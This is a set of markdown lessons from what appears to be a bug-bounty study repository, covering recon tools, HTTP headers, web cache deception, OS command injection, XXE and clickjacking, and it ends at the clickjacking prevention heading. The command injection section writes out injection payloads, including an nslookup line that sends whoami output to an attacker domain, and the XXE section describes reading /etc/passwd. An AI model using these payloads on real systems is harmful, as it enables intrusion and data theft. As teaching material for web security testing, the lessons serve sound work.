/days/day3.md: -------------------------------------------------------------------------------- 1 | # day3 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | What is Recon in Bug Bounty Hunting ? | 6 | | **2** | Why ? | 7 | | **3** | Determing the target | 8 | | **4** | Mapping the target | 9 | | **5** | Making notes | 10 | | **6** | How to get the subdomains of a particular taget ? | 11 | | **7** | How to get the parameters for a particular target ? | 12 | | **8** | Tools for CMS Identification | 13 | | **9** | List of Tools | 14 | | **10** | Resources | 15 | 16 | ## What is Recon in Bug Bounty Hunting ? 17 | 18 | ```text 19 | Recon means gathering information about a target. It could be information related to the subdomains, services used by them etc. 20 | Sometimes recon can go beyond collecting basic information to understand the system and can also identify information which might 21 | straight away lead to exploitation, sometimes without actually touching the entity being tested. 22 | 23 | Even after having such significance this phase is not given enough importance and most of the tests focus straight away on 24 | exploitation. The key point here is that exploitation is certainly important but performing a thorough recon could prove very 25 | helpful in it and also make it easier, faster and stealthier. 26 | ``` 27 | 28 | ## Why ? 29 | 30 | ```text 31 | Find a bigger attack surface 32 | More bugs 33 | More bounties 34 | ``` 35 | 36 | ## Determing the target 37 | 38 | ```text 39 | Everyone wants to choose a program that has wide scope so that you can can get wider range of vulerabilities within the scope. 40 | Understand which all domains are in scope. 41 | ``` 42 | 43 | ## Mapping the target 44 | 45 | ```text 46 | Read all terms of the program and understand which domains are in scope and which forms of vulnerabilities are considered valid reports. 47 | Recon and gather as much information as you can to effectively map the application 48 | Make notes of everything properly 49 | ``` 50 | 51 | ## Making notes 52 | 53 | ```text 54 | It is extremely important to note information about the target so that you do not miss out on anything. 55 | 56 | There should be a proper methodology for approaching the target. 57 | ``` 58 | 59 | ## How to get the subdomains of a particular taget ? 60 | 61 | ```text 62 | There are different tools and websites available for this purpose like - 63 | 64 | Project Discovery - https://chaos.projectdiscovery.io/#/ 65 | Sublister - https://github.com/aboul3la/Sublist3r 66 | Amass - https://github.com/OWASP/Amass 67 | SubBrute - https://github.com/TheRook/subbrute 68 | Knock - https://github.com/guelfoweb/knock 69 | 70 | Use different tools and websites and try to collect all the subdomains so that you do no miss out on anything. 71 | ``` 72 | 73 | ## How to get the parameters for a particular target ? 74 | 75 | ```text 76 | Some tools for getting the parameters are - 77 | 78 | ParamSpider - https://github.com/devanshbatham/ParamSpider 79 | Arjun - https://github.com/s0md3v/Arjun 80 | 81 | Using it, you wil be able to get a lot of parameters and will help you in hunting the bugs. 82 | ``` 83 | 84 | ## Some Tools for CMS Identificatin 85 | 86 | ```text 87 | Wappalyzer - https://www.wappalyzer.com/ 88 | BuiltWith - https://builtwith.com/ 89 | WhatWeb - https://github.com/urbanadventurer/WhatWeb 90 | 91 | You can also install the browser extension for Wappalyzer and BuiltWith 92 | ``` 93 | 94 | ## List of Tools 95 | 96 | ```text 97 | https://pentest-tools.com/ 98 | https://virustotal.com/ 99 | https://www.shodan.io/ 100 | https://crt.sh/?q=%25taregt.com 101 | https://dnsdumpster.com/ 102 | https://censys.io 103 | http://dnsgoodies.com 104 | https://bitbucket.org/LaNMaSteR53/recon-ng 105 | https://github.com/michenriksen/aquatone 106 | https://github.com/aboul3la/Sublist3r 107 | https://github.com/rbsec/dnscan 108 | https://github.com/Cleveridge/cleveridge-subdomain-scanner 109 | https://github.com/yasinS/sandcastle 110 | https://digi.ninja/projects/bucket_finder.php 111 | https://github.com/jobertabma/relative-url-extractor 112 | https://web.archive.org/ 113 | https://gist.github.com/mhmdiaa/2742c5e147d49a804b408bfed3d32d07 114 | https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050 115 | http://viewdns.info/reversewhois/?q= 116 | https://www.punkspider.org - Global web application vulnerability search engine 117 | ``` 118 | 119 | ## Resources 120 | 121 | ```text 122 | https://github.com/JakobTheDev/bug-bounty 123 | https://www.bugcrowd.com/resources/webinars/github-recon-and-sensitive-data-exposure/ 124 | https://infosecwriteups.com/guide-to-basic-recon-bug-bounties-recon-728c5242a115 125 | https://www.offensity.com/de/blog/just-another-recon-guide-pentesters-and-bug-bounty-hunters/ 126 | https://blog.usejournal.com/ 127 | web-application-security-bug-bounty-methodology-reconnaissance-vulnerabilities-reporting-635073cddcf2 128 | https://youtu.be/uKWu6yhnhbQ 129 | https://youtu.be/ZnugWiOULmw 130 | https://youtu.be/amihlWTtkMA 131 | https://youtu.be/p4JgIu1mceI 132 | ``` 133 | 134 | ## Will keep updating it so keep checking it regularly :smile: :v: 135 | 136 | -------------------------------------------------------------------------------- /days/day4.md: -------------------------------------------------------------------------------- 1 | # day4 2 | 3 | | Index | Technique | 4 | | :--- | :--- | 5 | | **1** | The HTTP Protocol | 6 | | **2** | HTTP Requests | 7 | | **3** | Headers | 8 | | **4** | HTTP Response | 9 | | **5** | Other Headers | 10 | | **6** | HTTP Methods | 11 | | **7** | General HTTP Headers | 12 | | **8** | Request Headers | 13 | | **9** | Response Headers | 14 | | **10** | Cookies | 15 | 16 | ## The HTTP Protocol 17 | 18 | ```text 19 | HTTP (Hyper Text Transmission Protocol) - Core communications protocol used to access 20 | the World Wide Web (www) 21 | It uses a message based model in which client sends a request message and the server returns a response message. 22 | It is a stateless protocol but uses TCP protocol which is stateful and is used as a transport mechanism. 23 | ``` 24 | 25 | ## HTTP Requests 26 | 27 | ```text 28 | All request and response consists of one or more headers, each on a seperate line followed by a mandatory blank line 29 | 30 | 1st line has 3 components seperated by spaces 31 | 1. A verb containing the HTTP method (GET,PUT,POST etc) 32 | 2. The requested URL 33 | 3. The HTTP version being used 34 | ``` 35 | 36 | ## Headers 37 | 38 | ```text 39 | Referrer Header - URL from which the request is originated 40 | User-Agent - Used to provide information about the browser 41 | Host - This header specifies the hostname that appeared in the full URL 42 | Cookie - Used to submit additional parameters that the server has issued to the client 43 | ``` 44 | 45 | ## HTTP Response 46 | 47 | ```text 48 | The first line of every HTTP response consists of three items seperated by spaces - 49 | 1. The HTTP version being used 50 | 2. A numeric status code (200,300,404,503) 51 | 3. A textual "reason phrase" describing the status of the response (OK, Moved Temporarily etc) 52 | ``` 53 | 54 | ## Other Headers 55 | 56 | ```text 57 | Server - Contains a banner indicating the web software being used 58 | Set-Cookie - Issues the browser a further cookie, this is submitted back in the cookie subsequent requests to this server 59 | Prgma - Instructs the browser not to store the response in the cache 60 | Expires - Response content expired in the past 61 | Content-Type - What is contained in the body of the message 62 | Content-Length - Length of the message body in bytes 63 | ``` 64 | 65 | ## HTTP Methods 66 | 67 | ```text 68 | Head - Contains the header part of the request 69 | Trace - Helps in diagnostics 70 | Options - What all methods are allowed 71 | Put - Upload specified resource to the server using the content contained in the request 72 | ``` 73 | 74 | ## General HTTP Headers 75 | 76 | ```text 77 | Connection - Tells the other end of the communication whether it should close the TCP Connection after the HTTP transmission 78 | has completed 79 | Content-Encoding - What kind of encoding is being used 80 | Content-Length - Specifies length of the message body in bytes 81 | Content-Type - Type of content contained in the message body 82 | Transfer Encoding - Encoding that was performed on the message body to facilitate its transfer over HTTP 83 | ``` 84 | 85 | ## Request Headers 86 | 87 | ```text 88 | Accept - Content client is willing to accept 89 | Accept-Encoding - Content encoding client is willing to accept 90 | Authoriztion - Submits credentials to the server for one of the built-in HTTP authentication types 91 | Cookie - Submits cookies to the server previously issued 92 | Host - Specifies the hostname that appeared in the full URL being requested 93 | If-Modified-Since - Specifies when the browser last received the requested resource. 94 | If-None-Match - Specifies an entity tag, which is an identifier denoting the contents of the message body 95 | Origin - Used in cross-domain Ajax requests to indicate the domain from which the request originated 96 | Referer - Specifies the URL from which the current request originated 97 | User-Agent - Provides information about the browser or other client software that generated the request 98 | ``` 99 | 100 | ## Response Headers 101 | 102 | ```text 103 | Access-Control-Allow-Origin - Indicates whether the resource can be retrieved via cross-domain Ajax requests 104 | Cache-Control - Passes caching directives to the browser 105 | Etag - Specifies an entity tag 106 | Expires - Tells the browser for how long the contents of the message body are valid 107 | Location - Used in redirection responses (those that have a status code starting with 3) to specify the target of the redirect 108 | Pragma - Passes caching directives to the browser 109 | Server - Provides information about the web server software being used 110 | Set-Cookie - Issues cookies to the browser that it will submit back to the server in subsequent requests 111 | WWW-Authenticate - Used in responses that have a 401 status code to provide details on the type(s) of authentication that the 112 | server supports. 113 | X-Frame-Options - Indicates whether and how the current response may be loaded within a browser frame 114 | ``` 115 | 116 | ## Cookies 117 | 118 | ```text 119 | expires - sets a date until which the cookie is valid 120 | domain - specifies the domain for which the cookie is valid 121 | path - specifies the URL path for which cookie is valid 122 | secure - If this attribute is set, the cookie will be submitted only in HTTPS requests 123 | HttpOnly - If this attribute is set, the cookie cannot be directly accessed via client-side JavaScript 124 | ``` 125 | 126 | -------------------------------------------------------------------------------- /days/day19.md: -------------------------------------------------------------------------------- 1 | ### Web cache deception 2 | 3 | ### About caching 4 | ```` 5 | Websites often use web cache functionality in order to reduce web server latency and to 6 | provide users with their requested content faster. 7 | Instead of letting the web server deal with each request over and over, the caching mechanism stores those application files that are frequently retrieved. 8 | 9 | Files that are commonly cached are static, public files: style sheets (css), scripts (js), text files (txt), images (png, bmp, gif), and so on. 10 | These files don't usually contain any sensitive information. As can be found in various best practices articles about web cache configuration, it's recommended to cache all static files that are meant to be public, and 11 | disregard their HTTP caching headers. 12 | 13 | There are several ways to implement caching. For example, caching is performed on 14 | browsers: the file is cached, and for a certain period of time, the browser won't ask the web server for the cached file again. This type of caching is NOT relevant for the web cache 15 | deception attack. 16 | 17 | Another way to implement caching, that is relevant for this attack, is over a server that 18 | stands between the client and the web server and functions as a caching mechanism. This 19 | type of mechanism can have various forms: 20 | 21 | * CDN (Content Delivery Network) - A distributed network of proxies whose purpose is 22 | to serve content quickly. The client will be served from a group of proxies, preferably the closest one to him. 23 | * Load balancer - In addition to their job of balancing the traffic between more than 24 | one server, load balancers can also cache content in order to reduce the servers' latency. 25 | * Reverse proxy - A proxy server that retrieves resources from the web server on 26 | behalf of the client, and can cache some of the application's content. 27 | ```` 28 | ### Servers' reactions 29 | ```` 30 | The web cache deception attack counts on similar browsers' and web servers' reactions, in 31 | the same way as the RPO attack, explained in two blogs: The Spanner1 and XSS Jigsaw2 32 | . 33 | What happens when a user accesses a URL like 34 | http://www.example.com/home.php/nonexistent.css, where home.php is an actual page, 35 | and nonexistent.css doesn't exist? 36 | In this case, the browser sends a GET request to that URL. The interesting thing to look at is how the web server interprets this request. Depending on the server's technology and 37 | configuration, the web server might return a 200 OK response with the content of the 38 | home.php page, meaning the URL stays the same. 39 | The HTTP response headers will match the home.php page: same caching headers and same 40 | content type. 41 | ```` 42 | ### How does web cache deception work? 43 | ```` 44 | When your browser makes a request to a website, your connection usually goes through content delivery networks (CDN). 45 | 46 | CDNs have edge servers scattered across the world, which store cache local copies of web content to provide faster access to the users in their vicinities, while reducing the load on web servers. 47 | 48 | As a rule of thumb, cached items must not contain private or sensitive information. Caching servers only store public, static content – such as images, CSS files, and PDF documents – that are not user-specific. 49 | 50 | Requests for all dynamic, user-specific content get routed to the main servers of the website or service a user is interacting with. 51 | 52 | This mechanism has been mainly put in place for security reasons because, unlike application servers, caching servers have no safeguards to authenticate users and prevent access to unauthorized data. 53 | 54 | But, as Gil showed in 2017, caching servers can be deceived in order to store local copies of sensitive data and serve them to other users via path confusion. 55 | 56 | “When an internet user communicates with a web application, the traffic may be proxied and processed by any number of caching technologies on its way, including multiple CDNs and centralized server-side caches, before it finally reaches the origin web server,” Kaan Onarlioglu, security intelligence architect at Akamai and co-author of the paper, told The Daily Swig. 57 | 58 | “WCD results from a disagreement between these components on the cacheability of a given object. This disagreement can then be exploited to trick a web cache into storing non-cacheable objects.” 59 | 60 | For instance, consider a dynamic, non-cacheable page that contains sensitive user account information, say /account.php. 61 | 62 | To get the CDN edge server to store a cached copy of the page, a malicious user might add a suffix to the path to make it look like a static, public asset – /account.php/nonexistent.jpg. 63 | 64 | If the victim visits the attacker’s website, or a website that the attacker controls, the attacker can then manipulate the victim’s browser into loading a specific URL on the target website, which will cause their account data to be cached on the CDN. 65 | 66 | After that, all the attacker has to do is send a GET request for the forged URL to the edge server and receive a copy of the cached data. 67 | ```` 68 | ### A substantial threat 69 | ```` 70 | Taking from the list of Alexa’s Top 5,000 websites, the researchers identified 295 websites and 125,000 domains that could be potential targets for WCD attacks. 16 of the 295 websites (5.4%) were later found to have WCD vulnerabilities. 71 | 72 | “We observe that the distribution of vulnerable sites is roughly proportional to the number of sites crawled; that is, our data does not suggest that the incidence of WCD vulnerabilities is correlated with site popularity,” the researchers said. 73 | 74 | While WCD is theoretically possible on all kinds of caching servers, all instances of vulnerable pages observed in the study are served over a CDN. 75 | 76 | “Today, web caches are considered essential Internet infrastructure,” Onarlioglu says. “In particular, CDN technologies (i.e., massively distributed networks of caching proxies) have become ubiquitous. 77 | 78 | “When this large potential attack surface is combined with the complexity of identifying and fixing vulnerabilities, site operators are facing a significant challenge in staying ahead of attackers.” 79 | 80 | Another notable finding is that, in some cases, site administrators configured their web caches to disregard caching directives response headers and store non-cacheable data. 81 | 82 | “The fact that WCD vulnerabilities are relatively easy to exploit leads us to conclude that these vulnerabilities are serious and that this class of vulnerability deserves attention from both site administrators and the security community,” the researchers said. 83 | 84 | Web cache deception was ranked second in the 2017 Top 10 Web Hacking Techniques, an annual list compiled by researchers at PortSwigger. 85 | ```` 86 | -------------------------------------------------------------------------------- /days/day23.md: -------------------------------------------------------------------------------- 1 | ### OS command injection 2 | ### What is OS command injection? 3 | ```` 4 | OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. Very often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, exploiting trust relationships to pivot the attack to other systems within the organization. 5 | ```` 6 | ### Executing arbitrary commands 7 | ```` 8 | Consider a shopping application that lets the user view whether an item is in stock in a particular store. This information is accessed via a URL like: 9 | 10 | https://insecure-website.com/stockStatus?productID=381&storeID=29 11 | 12 | To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments: 13 | 14 | stockreport.pl 381 29 15 | 16 | This command outputs the stock status for the specified item, which is returned to the user. 17 | 18 | Since the application implements no defenses against OS command injection, an attacker can submit the following input to execute an arbitrary command: 19 | 20 | & echo aiwefwlguh & 21 | 22 | If this input is submitted in the productID parameter, then the command executed by the application is: 23 | 24 | stockreport.pl & echo aiwefwlguh & 29 25 | 26 | The echo command simply causes the supplied string to be echoed in the output, and is a useful way to test for some types of OS command injection. 27 | The & character is a shell command separator, and so what gets executed is actually three separate commands one after another. As a result, the output returned to the user is: 28 | 29 | Error - productID was not provided 30 | aiwefwlguh 31 | 29: command not found 32 | 33 | The three lines of output demonstrate that: 34 | 35 | The original stockreport.pl command was executed without its expected arguments, and so returned an error message. 36 | The injected echo command was executed, and the supplied string was echoed in the output. 37 | The original argument 29 was executed as a command, which caused an error. 38 | Placing the additional command separator & after the injected command is generally useful because it separates the injected command from whatever follows the injection point. 39 | This reduces the likelihood that what follows will prevent the injected command from executing. 40 | ```` 41 | ### Useful commands 42 | ```` 43 | When you have identified an OS command injection vulnerability, it is generally useful to execute some initial commands to obtain information about the system that you have compromised. Below is a summary of some commands that are useful on Linux and Windows platforms: 44 | 45 | Purpose of command Linux Windows 46 | Name of current user whoami whoami 47 | Operating system uname -a ver 48 | Network configuration ifconfig ipconfig /all 49 | Network connections netstat -an netstat -an 50 | Running processes ps -ef tasklist 51 | ```` 52 | ### Blind OS command injection vulnerabilities 53 | ```` 54 | Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required. 55 | 56 | Consider a web site that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details. For example: 57 | 58 | mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com 59 | 60 | The output from the mail command (if any) is not returned in the application's responses, and so using the echo payload would not be effective. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability. 61 | ```` 62 | 63 | ### Detecting blind OS command injection using time delays 64 | ```` 65 | You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run: 66 | 67 | & ping -c 10 127.0.0.1 & 68 | 69 | This command will cause the application to ping its loopback network adapter for 10 seconds. 70 | ```` 71 | ### Exploiting blind OS command injection by redirecting output 72 | ```` 73 | You can redirect the output from the injected command into a file within the web root that you can then retrieve using your browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input: 74 | 75 | & whoami > /var/www/static/whoami.txt & 76 | 77 | The > character sends the output from the whoami command to the specified file. You can then use your browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command. 78 | ```` 79 | ### Exploiting blind OS command injection using out-of-band (OAST) techniques 80 | ```` 81 | You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example: 82 | 83 | & nslookup kgji2ohoyw.web-attacker.com & 84 | 85 | This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor for the specified lookup occurring, and thereby detect that the command was successfully injected. 86 | 87 | The out-of-band channel also provides an easy way to exfiltrate the output from injected commands: 88 | 89 | & nslookup `whoami`.kgji2ohoyw.web-attacker.com & 90 | 91 | This will cause a DNS lookup to the attacker's domain containing the result of the whoami command: 92 | 93 | wwwuser.kgji2ohoyw.web-attacker.com 94 | ```` 95 | ### Ways of injecting OS commands 96 | ```` 97 | A variety of shell metacharacters can be used to perform OS command injection attacks. 98 | 99 | A number of characters function as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems: 100 | 101 | & 102 | && 103 | | 104 | || 105 | The following command separators work only on Unix-based systems: 106 | 107 | ; 108 | Newline (0x0a or \n) 109 | On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command: 110 | 111 | ` injected command ` 112 | $( injected command ) 113 | Note that the different shell metacharacters have subtly different behaviors that might affect whether they work in certain situations, and whether they allow in-band retrieval of command output or are useful only for blind exploitation. 114 | 115 | Sometimes, the input that you control appears within quotation marks in the original command. In this situation, you need to terminate the quoted context (using " or ') before using suitable shell metacharacters to inject a new command. 116 | ```` 117 | ### How to prevent OS command injection attacks 118 | ```` 119 | By far the most effective way to prevent OS command injection vulnerabilities is to never call out to OS commands from application-layer code. 120 | In virtually every case, there are alternate ways of implementing the required functionality using safer platform APIs. 121 | 122 | If it is considered unavoidable to call out to OS commands with user-supplied input, then strong input validation must be performed. Some examples of effective validation include: 123 | 124 | * Validating against a whitelist of permitted values. 125 | * Validating that the input is a number. 126 | * Validating that the input contains only alphanumeric characters, no other syntax or whitespace. 127 | Never attempt to sanitize input by escaping shell metacharacters. In practice, this is just too error-prone and vulnerable to being bypassed by a skilled attacker. 128 | ```` -------------------------------------------------------------------------------- /days/day24.md: -------------------------------------------------------------------------------- 1 | ### What is XML external entity injection? 2 | ```` 3 | XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. 4 | It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access. 5 | 6 | In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks. 7 | ```` 8 | ### How do XXE vulnerabilities arise? 9 | ```` 10 | Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. 11 | XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application. 12 | 13 | XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. 14 | External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL. 15 | ```` 16 | ### What are the types of XXE attacks? 17 | ```` 18 | There are various types of XXE attacks: 19 | 20 | * Exploiting XXE to retrieve files, where an external entity is defined containing the contents of a file, and returned in the application's response. 21 | * Exploiting XXE to perform SSRF attacks, where an external entity is defined based on a URL to a back-end system. 22 | * Exploiting blind XXE exfiltrate data out-of-band, where sensitive data is transmitted from the application server to a system that the attacker controls. 23 | * Exploiting blind XXE to retrieve data via error messages, where the attacker can trigger a parsing error message containing sensitive data. 24 | ```` 25 | ### Exploiting XXE to retrieve files 26 | ```` 27 | To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways: 28 | 29 | Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file. 30 | Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity. 31 | For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server: 32 | 33 | 34 | 381 35 | 36 | The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload: 37 | 38 | 39 | ]> 40 | &xxe; 41 | 42 | This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. 43 | This causes the application's response to include the contents of the file: 44 | 45 | Invalid product ID: root:x:0:0:root:/root:/bin/bash 46 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 47 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 48 | ```` 49 | ### Exploiting XXE to perform SSRF attacks 50 | ```` 51 | Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF). 52 | This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access. 53 | 54 | To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. 55 | If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. 56 | If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences). 57 | 58 | In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure: 59 | 60 | ]> 61 | ```` 62 | ### Blind XXE vulnerabilities 63 | ```` 64 | Many instances of XXE vulnerabilities are blind. This means that the application does not return the values of any defined external entities in its responses, and so direct retrieval of server-side files is not possible. 65 | 66 | Blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required. 67 | You can sometimes use out-of-band techniques to find vulnerabilities and exploit them to exfiltrate data. And you can sometimes trigger XML parsing errors that lead to disclosure of sensitive data within error messages. 68 | ```` 69 | ### Finding hidden attack surface for XXE injection 70 | ```` 71 | Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic includes requests that contain data in XML format. 72 | In other cases, the attack surface is less visible. 73 | However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML. 74 | 75 | XInclude attacks 76 | Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. 77 | An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service. 78 | 79 | In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. 80 | However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. 81 | You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document. 82 | 83 | To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example: 84 | 85 | 86 | 87 | ```` 88 | ### XXE attacks via file upload 89 | ```` 90 | Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. 91 | Examples of XML-based formats are office document formats like DOCX and image formats like SVG. 92 | 93 | For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. 94 | Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. 95 | Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities. 96 | ```` 97 | ### XXE attacks via modified content type 98 | ```` 99 | Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded. 100 | Some web sites expect to receive requests in this format but will tolerate other content types, including XML. 101 | 102 | For example, if a normal request contains the following: 103 | 104 | POST /action HTTP/1.0 105 | Content-Type: application/x-www-form-urlencoded 106 | Content-Length: 7 107 | 108 | foo=bar 109 | 110 | Then you might be able submit the following request, with the same result: 111 | 112 | POST /action HTTP/1.0 113 | Content-Type: text/xml 114 | Content-Length: 52 115 | 116 | bar 117 | 118 | If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format. 119 | ```` 120 | ### How to find and test for XXE vulnerabilities 121 | ```` 122 | The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner. 123 | 124 | Manually testing for XXE vulnerabilities generally involves: 125 | 126 | * Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response. 127 | * Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator client is perfect for this purpose. 128 | * Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file. 129 | ```` 130 | ### How to prevent XXE vulnerabilities 131 | ```` 132 | Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. 133 | The easiest and most effective way to prevent XXE attacks is to disable those features. 134 | 135 | Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. 136 | This can usually be done via configuration options or by programmatically overriding default behavior. 137 | Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities. 138 | ```` -------------------------------------------------------------------------------- /days/day22.md: -------------------------------------------------------------------------------- 1 | ### Clickjacking (UI redressing) 2 | 3 | ### What is clickjacking ? 4 | ```` 5 | Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website. Consider the following example: 6 | 7 | A web user accesses a decoy website (perhaps this is a link provided by an email) and clicks on a button to win a prize. 8 | Unknowingly, they have been deceived by an attacker into pressing an alternative hidden button and this results in the payment of an account on another site. 9 | This is an example of a clickjacking attack. The technique depends upon the incorporation of an invisible, actionable web page (or multiple pages) containing a button or hidden link, say, within an iframe. 10 | The iframe is overlaid on top of the user's anticipated decoy web page content. 11 | This attack differs from a CSRF attack in that the user is required to perform an action such as a button click whereas a CSRF attack depends upon forging an entire request without the user's knowledge or input. 12 | Protection against CSRF attacks is often provided by the use of a CSRF token: a session-specific, single-use number or nonce. 13 | Clickjacking attacks are not mitigated by the CSRF token as a target session is established with content loaded from an authentic website and with all requests happening on-domain. 14 | CSRF tokens are placed into requests and passed to the server as part of a normally behaved session. The difference compared to a normal user session is that the process occurs within a hidden iframe. 15 | ```` 16 | ### How to construct a basic clickjacking attack 17 | ```` 18 | Clickjacking attacks use CSS to create and manipulate layers. The attacker incorporates the target website as an iframe layer overlaid on the decoy website. An example using the style tag and parameters is as follows: 19 | 20 | 21 | 36 | 37 | ... 38 | 39 |
40 | ...decoy web content here... 41 |
42 | 44 | 45 | 46 | The target website iframe is positioned within the browser so that there is a precise overlap of the target action with the decoy website using appropriate width and height position values. 47 | Absolute and relative position values are used to ensure that the target website accurately overlaps the decoy regardless of screen size, browser type and platform. 48 | The z-index determines the stacking order of the iframe and website layers. The opacity value is defined as 0.0 (or close to 0.0) so that the iframe content is transparent to the user. 49 | Browser clickjacking protection might apply threshold-based iframe transparency detection (for example, Chrome version 76 includes this behavior but Firefox does not). 50 | The attacker selects opacity values so that the desired effect is achieved without triggering protection behaviors. 51 | ```` 52 | ### Clickjacking with prefilled form input 53 | ```` 54 | Some websites that require form completion and submission permit prepopulation of form inputs using GET parameters prior to submission. 55 | Other websites might require text before form submission. 56 | As GET values form part of the URL then the target URL can be modified to incorporate values of the attacker's choosing and the transparent "submit" button is overlaid on the decoy site as in the basic clickjacking example. 57 | ```` 58 | ### Frame busting scripts 59 | ```` 60 | Clickjacking attacks are possible whenever websites can be framed. Therefore, preventative techniques are based upon restricting the framing capability for websites. 61 | A common client-side protection enacted through the web browser is to use frame busting or frame breaking scripts. 62 | These can be implemented via proprietary browser JavaScript add-ons or extensions such as NoScript. Scripts are often crafted so that they perform some or all of the following behaviors: 63 | 64 | check and enforce that the current application window is the main or top window, 65 | make all frames visible, prevent clicking on invisible frames, intercept and flag potential clickjacking attacks to the user. 66 | Frame busting techniques are often browser and platform specific and because of the flexibility of HTML they can usually be circumvented by attackers. 67 | As frame busters are JavaScript then the browser's security settings may prevent their operation or indeed the browser might not even support JavaScript. 68 | An effective attacker workaround against frame busters is to use the HTML5 iframe sandbox attribute. 69 | When this is set with the allow-forms or allow-scripts values and the allow-top-navigation value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window: 70 | 71 | 72 | 73 | Both the allow-forms and allow-scripts values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviors while allowing functionality within the targeted site. 74 | ```` 75 | ### Combining clickjacking with a DOM XSS attack 76 | ```` 77 | We have looked at clickjacking as a self-contained attack. Historically, clickjacking has been used to perform behaviors such as boosting "likes" on a Facebook page. 78 | However, the true potency of clickjacking is revealed when it is used as a carrier for another attack such as a DOM XSS attack. 79 | Implementation of this combined attack is relatively straightforward assuming that the attacker has first identified the XSS exploit. 80 | The XSS exploit is then combined with the iframe target URL so that the user clicks on the button or link and consequently executes the DOM XSS attack. 81 | ```` 82 | ### Multistep clickjacking 83 | ```` 84 | Attacker manipulation of inputs to a target website may necessitate multiple actions. For example, an attacker might want to trick a user into buying something from a retail website so items need to be added to a shopping basket before the order is placed. 85 | These actions can be implemented by the attacker using multiple divisions or iframes. 86 | Such attacks require considerable precision and care from the attacker perspective if they are to be effective and stealthy. 87 | ```` 88 | ### How to prevent clickjacking attacks 89 | ```` 90 | 